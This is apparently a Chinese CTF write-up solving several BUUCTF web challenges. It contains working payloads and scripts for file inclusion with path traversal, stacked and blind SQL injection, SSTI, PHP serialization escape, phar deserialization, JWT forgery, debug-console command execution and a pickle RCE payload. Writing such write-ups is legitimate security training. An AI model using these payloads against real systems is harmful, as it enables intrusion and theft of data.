BUUCTF web writeup(一)

warmup

靶机
F12发现source.php,打开发现源码,顺着源码又发现了hint.php,得到flag in ffffllllaaaagggg,继续阅读源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

  • mb_substr() 函数返回字符串的一部分, substr()函数只针对英文字符,如果要分割的中文文字则需要使用 mb_substr().
  • strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写).
    看到include $_REQUEST[‘file’]那就应该是文件包含读取ffffllllaaaagggg了,前两个条件file不为空且为字符串简单,主要是第三个条件,要通过chekFile函数返回True.
    分析checkFile函数,有三次检测file是否是白名单中的内容,如果是则返回true.还有对$page进行的操作,如果有?则截取?之前的字符返回,如果没有则返回本身.
    构造payload:file=hint.php%3F/../../../../ffffllllaaaagggg,首先第一次判断不通过,然后$page又返回自身,第二次判断不通过,进行url解码,hint.php?/../../../../ffffllllaaaagggg,然后$page返回?之前即hint.php通过第三次判断,返回true满足第三个条件.成功执行文件包含并目录穿越,读取到flag.

    随便注

    靶机
    这道题是2019强网杯的题,我有写过wp复现,传送门.
    大致再记录一下吧.waf:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);过滤的其实不多,并且可以用堆叠注入查表和字段,多查询几次,整个数据库结构就清晰了。
  • ';show tables;
1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}
  • ';show columns from words;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
  • ';show columns from1919810931114514;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

可以构造出原本的sql语句:

1
SELECT id,`data` FROM words WHERE id='1' ;

而select被过滤了,但查询语句查的是words表,而flag在另一个表中,如何查询呢?注意到waf黑名单其实过滤的很少的,比如alter和rename没被过滤就可以加以利用.我们可以把words表名改掉,再把flag所在表名改成words,再利用alter添加id字段,即可成功查询.payload:

1
';rename table words to wordss;rename table `1919810931114514` to `words`;alter table words add id int default 1#

另一种方法是利用自定义变量绕过.

1
-1';use supersqli;set @sqli=concat('se','lect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sqli;EXECUTE stmt1;

高明的黑客

靶机
也是强网杯2019的题目,下载到源码,是3000个混淆的文件,要我们从里面找到后门,那就本地搭建个环境,写个脚本自动跑好了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os
import requests
import re
import threading
dirs = os.listdir(r'D:\phpStudy\WWW\test\src')
url='http://www.test.com/src/'

def findit(f):
path='D:\\phpStudy\\WWW\\test\\src\\'+f
r = open(path, 'r', encoding='UTF-8').read()
print('正在检测' + f)
t = re.findall("\$_POST\['(.*?)'\]",r,re.S)
for i in t:
data={i:'echo "find it";'}
if 'find it' in requests.post(url+f,data=data).text:
print('get shell:'+f+'post:'+i)
exit(0)
t = re.findall("\$_GET\['(.*?)'\]", r, re.S)
for i in t:
if 'find it' in requests.get(url+f+'?'+i+'='+'echo "find it";').text:
print('get shell:'+f+'get:'+i)
exit(0)

if __name__ == '__main__':

for i in range(0,149):
onelist=dirs[i*20:(i+1)*20-1]
threads=[]
for j in onelist:
t = threading.Thread(target=findit,args=(j,))
threads.append(t)
for j in range(0, len(threads) - 1):
threads[j].start()
for j in range(0, len(threads) - 1):
threads[j].join()

多进程再试试?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import requests
import re
import threading
import multiprocessing
dirs = os.listdir(r'D:\phpStudy\WWW\test\src')
url='http://www.test.com/src/'

def findit(f):
path='D:\\phpStudy\\WWW\\test\\src\\'+f
r = open(path, 'r', encoding='UTF-8').read()
print('正在检测' + f)
t = re.findall("\$_POST\['(.*?)'\]",r,re.S)
for i in t:
data={i:'echo "find it";'}
if 'find it' in requests.post(url+f,data=data).text:
print('get shell:'+f+'post:'+i)
return i
t = re.findall("\$_GET\['(.*?)'\]", r, re.S)
for i in t:
if 'find it' in requests.get(url+f+'?'+i+'='+'echo "find it";').text:
print('get shell:'+f+'get:'+i)
return i
return False
def testall(allfile):
for i in allfile:
result = findit(i)
if result:
exit(0)

if __name__ == '__main__':
pool = multiprocessing.Pool(processes=30)
for i in range(0, len(dirs), 100):
pool.apply_async(testall,args=(set(dirs[i:i+100]),))
pool.close()
pool.join()

终于跑出来了,连上后门直接读

1
http://web15.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

easy_tornado

靶机
得到提示filehash:md5(cookie_secret + md5(filename))并且flag在/fllllllllllllag,现在就是要得到cookie_secret.
访问错误的时候得到http://web9.buuoj.cn/error?msg=Error,这里运用了模板渲染http://web9.buuoj.cn/error?msg=1,测试一下果然.所以应该是服务端模板注入(ssti),一顿fuzz,还过滤了好多字符.看看黑翼天使23,得到思路.
访问http://web9.buuoj.cn/error?msg=,返回:

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'}

根据hintMD5加密一下即可构造payload:

1
http://web9.buuoj.cn/file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d

[CISCN2019 华北赛区 Day2 Web1]Hack World

靶机
fuzz一下,过滤了挺多字符,空格就被过滤了,可以用括号绕过、换行绕过、或者制表符绕过.然后利用布尔盲注,可以利用返回1的时候输出Hello, glzjin wants a girlfriend.,当然也可以利用时间盲注不过会慢一点.写个脚本跑.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = "http://web43.buuoj.cn/index.php"
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'
}
flag = ""

while(True):
for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}':
data={
'id' :"if(substr((select(flag)from(flag)),1,{})='{}{}',1,2)".format(len(flag) + 1,flag,i)
}


"""
data = {
'id': "ELT(left((select(flag)from(flag)),{})='{}{}',1)".format(len(flag) + 1, flag, i)
}"""
if "glzjin" in requests.post(url,data=data,headers=headers).text:
flag += i
print(flag)
break

学到了一个elt函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select elt(0,'a','b');
+----------------+
| elt(0,'a','b') |
+----------------+
| NULL |
+----------------+
1 row in set (0.00 sec)

mysql> select elt(3,'a','b');
+----------------+
| elt(3,'a','b') |
+----------------+
| NULL |
+----------------+
1 row in set (0.00 sec)

mysql> select elt(1,'a','b');
+----------------+
| elt(1,'a','b') |
+----------------+
| a |
+----------------+
1 row in set (0.00 sec)

piapiapia

靶机
进去是登陆界面,小猫咪在piapiapia敲键盘,蛮可爱,一般这个时候没思路了就去扫描一下,应该会有源码泄露.www.zip成功下载源码.

  • config.php
    1
    2
    3
    4
    5
    6
    7
    <?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
    ?>

那么flag就应该在config.php里了.逻辑上应该register,再login,到profile检测为null,跳转到update页面,完成后再转到profile页面.再看看profile.php源码:

  • profile.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    <?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
    die('Login First');
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile == null) {
    header('Location: update.php');
    }
    else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <title>Profile</title>
    <link href="static/bootstrap.min.css" rel="stylesheet">
    <script src="static/jquery.min.js"></script>
    <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
    <div class="container" style="margin-top:100px">
    <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
    <h3>Hi <?php echo $nickname;?></h3>
    <label>Phone: <?php echo $phone;?></label>
    <label>Email: <?php echo $email;?></label>
    </div>
    </body>
    </html>
    <?php
    }
    ?>

可以想到是通过file_get_contents获取config.php的内容,那么我们势必要在某个地方构造序列化来执行我们想要的,再来看看update.php:

  • update.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    <?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
    die('Login First');
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
    die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
    die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <title>UPDATE</title>
    <link href="static/bootstrap.min.css" rel="stylesheet">
    <script src="static/jquery.min.js"></script>
    <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
    <div class="container" style="margin-top:100px">
    <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
    <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
    <h3>Please Update Your Profile</h3>
    <label>Phone:</label>
    <input type="text" name="phone" style="height:30px"class="span3"/>
    <label>Email:</label>
    <input type="text" name="email" style="height:30px"class="span3"/>
    <label>Nickname:</label>
    <input type="text" name="nickname" style="height:30px" class="span3">
    <label for="file">Photo:</label>
    <input type="file" name="photo" style="height:30px"class="span3"/>
    <button type="submit" class="btn btn-primary">UPDATE</button>
    </form>
    </div>
    </body>
    </html>
    <?php
    }
    ?>

在这里首先是对传进来的4个内容进行判断,但是我们发现nickname如果是数组就可以绕过:

1
2
3
4
5
6
7
8
9
<?php
$_POST['nickname']=array(1);
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10){
die('Invalid nickname');}
else{
echo 'pass it';
}
//pass it
?>

这样我们就可以控制序列化内容了,但是序列化后的内容总是被""包围起来,还是不能逃逸来构造我们想要的.接下来是update_profile方法对序列化后的$profile进行操作,那么我们看看class.php里面user类的update_profile方法有没有可利用的地方.

  • class.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    <?php
    require('config.php');

    class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    return parent::select($this->table, $where);
    }
    public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
    return true;
    } else {
    return false;
    }
    }
    public function show_profile($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
    }
    public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
    return __class__;
    }
    }

    class mysql {
    private $link = null;

    public function connect($config) {
    $this->link = mysql_connect(
    $config['hostname'],
    $config['username'],
    $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");

    return $this->link;
    }

    public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\'';
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
    }

    public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
    return __class__;
    }
    }
    session_start();
    $user = new user();
    $user->connect($config);

$new_profile = parent::filter($new_profile);这条语句是对传进来的序列化后的$profile进行过滤,再看看父类的filter方法.可以看到是为了防止sql注入,对输入中的单引号、反斜杠以及一些敏感词进行替换,但是这个对序列化后字符串的替换操作,恰好提供了逃逸的的条件.切入点就是这个where被替换为hacker.举个例子:

1
2
3
4
5
6
7
<?php

echo unserialize('s:6:"where""');
//where"
echo unserialize('s:6:"hacker""');
//hacker
?>

也就是说,原来where"是6个字符,替换为hacker"以后,6个字符刚好读到hacker并且右边是"成功闭合,那如果我们原来的字符串"号后面还有字符,不就成功执行我们想要的操作了吗,只要控制替换操作后多的字符数等于"加上之后字符的数量就可以了,从where替换到hacker,增加了1,那我们想要逃逸多少个字符,就用多少个where.再看个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//假如我们想得到服务器上的樱井莉亚的图片(雾)
$profile['nickname']= 'cxycxycxy";s:5:"photo";s:16:"yingjingliya.jpg";}';
$profile['photo']= 'cxy.jpg';
var_dump(serialize($profile));
//a:2:{s:8:"nickname";s:48:"cxycxycxy";s:5:"photo";s:16:"yingjingliya.jpg";}";s:5:"photo";s:7:"cxy.jpg";}
/*服务器操作有点憨批,非要把检测到的`cxy`3个字符替换成16个字符的`abcdefghijklmnop`,我只要用3个cxy就能逃逸`";s:5:"photo";s:16:"yingjingliya.jpg";}`这39个字符*/
$profile = 'a:2:{s:8:"nickname";s:48:"abcdefghijklmnopabcdefghijklmnopabcdefghijklmnop";s:5:"photo";s:16:"yingjingliya.jpg";}";s:5:"photo";s:7:"cxy.jpg";}';
var_dump(unserialize($profile));
/*array(2) {
["nickname"]=>
string(48) "abcdefghijklmnopabcdefghijklmnopabcdefghijklmnop"
["photo"]=>
string(16) "yingjingliya.jpg"
}*/
//
?>

知道方法以后就好办了,现在本地测试一下,了解序列化后的结构:

1
2
3
4
5
6
7
8
<?php
$profile['phone'] = '11111111111';
$profile['email'] = '969987508@qq.com';
$profile['nickname'] = array('cxy');
$profile['photo'] = 'cxy.jpg';
echo serialize($profile);
//a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:16:"969987508@qq.com";s:8:"nickname";a:1:{i:0;s:3:"cxy";}s:5:"photo";s:7:"cxy.jpg";}
?>

那么可以知道我们需要逃逸的字符串:";}s:5:"photo";s:10:"config.php,需要31个where,构造payload:

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

Markdown
检查img标签,成功获取config.php内容的base64编码,解码后即可得到flag.

admin

靶机
这道题问题还挺多的,参考出题师傅的博客ckj123.
上面三种方法就不谈了,恰好前几天看了python安全.传送门.登陆出错后弹出debug页面,是flask框架,版本是2.7,发现居然能写pythonshell,果断尝试,什么保护措施都没有,直接上os,platform,subprocess

1
2
3
4
5
6
7
8
9
>>>import os
>>> os.popen('grep -R "flag"').read()
'app/templates/index.html:<h1 class="nav">flag{btf87924u5bvgfxgu0bsztm1zkkwxfgu}</h1>\napp/static/css/semantic.css: @import url(https://fonts.googleapis.com/css?
>>>import subprocess
>>>subprocess.Popen('grep -R "flag"', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
'app/templates/index.html:<h1 class="nav">flag{btf87924u5bvgfxgu0bsztm1zkkwxfgu}</h1>\napp/static/css/semantic.css: @import url(https://fonts.googleapis.com/css?
>>>import platform
>>>platform.popen('grep -R "flag"').read()
'app/templates/index.html:<h1 class="nav">flag{btf87924u5bvgfxgu0bsztm1zkkwxfgu}</h1>\napp/static/css/semantic.css: @import url(https://fonts.googleapis.com/css?

Dropbox

靶机
访问后是个文件管理系统,先随便上传个文件,下载时候bp抓包修改文件名即可得到源码filename=../../index.php还有class.php,delete.php,upload.php.可以利用phar反序列化漏洞.传送门
先看个demo吧:

  • phar.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data = 'chenxiyuan';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>

执行php phar.php,生成phar.phar(要将php.ini中的phar.readonly选项设置为Off).打开文件可以看到meta-data是以序列化的形式存储.php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化.

  • phartest.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php 

    class TestObject {
    public function __destruct() {
    echo $this->data;
    }
    }

    $filename = 'phar://phar.phar/test.txt';
    //unlink($filename);

    //$filename= 'phar://phar.phar';
    file_get_contents($filename);
    ?>

运行php phartest.php,成功输出chenxiyuan.测试发现,$filename= 'phar://phar.phar',虽然会报错但依旧会输出.
经过代码审计发现delete.php可以利用.$file->detele();再看class.php里的file类的delete方法:

1
2
3
public function detele() {
unlink($this->filename);
}

unlink可以反序列化,而且delete.php文件incldue了class.php,也就可以利用FileList类的__destruct()方法,满足攻击的三个条件:
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
然后分析class.php类的结构关系,构造脚本生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User {
public $db;
}
class File{
public $filename;
public function __construct($name){
$this->filename=$name;
}
}
class FileList {
private $files;
public function __construct(){
$this->files=array(new File('/flag.txt'));
}
}
$o = new User();
$o->db =new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传生成的phar.phar,然后抓包改Content-Typeimage/jpeg.
Markdown
然后再delete,抓包改filename为phar://phar.jpg.成功读取flag.
Markdown

ikun

靶机
先注册个账号,登陆.
F12,提示这题脑洞很大留了hint,看到ikun们冲鸭,一定要买到lv6!!!,应该是要买lv6的账号,写个脚本找:

1
2
3
4
5
6
7
8
9
import requests

url="http://web44.buuoj.cn/shop?page="

for i in range(500):
r =requests.get(url+str(i))
if 'lv6.png' in r.text:
print('find it'+str(i))
exit(0)

发现是在180页.
Markdown
hint:I’m flag man说明找对了,点击buy钱不够肯定买不了的,一直操作失败,F12以后找到post表单,价格改为1,再点buy虽然还是操作失败,但是返回以后发现进入了购物车,变成了折扣选项,可以抓包改discount0.0000000000000000000000000001,然后成功跳转b1g_m4mber这个页面.
Markdown
提示只能admin访问,查看cookie里有jwt,以前做过jwt的题,看来是修改jwt了.
c-jwt-cracker脚本跑密钥.
Markdown
跑出来是1Kun,jwt.ioencode一下:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

修改cookie.
Markdown
成功跳转F12,<!-- 潜伏敌后已久,只能帮到这了 -->,成功得到源码,发现是tornado,前两个星期看了Django和flask,正好看看tornado框架,开始审计吧.
发现Admin.py存在反序列化操作,对应的地方就是admin界面点击一键成为大会员的地方:

1
2
3
4
5
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)

直接编写脚本:

1
2
3
4
5
6
7
8
9
10
11
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval,('().__class__.__bases__[0].__subclasses__()[40]("/flag.txt").read()',))
#当然这里也可以不写这么花QAQ,写一个简单的open也是可以的.

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

运行脚本生成payload:

1
c__builtin__%0Aeval%0Ap0%0A%28S%27%28%29.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D%28%22/flag.txt%22%29.read%28%29%27%0Ap1%0Atp2%0ARp3%0A.

然后直接抓包修改become参数,就可以得到flag了.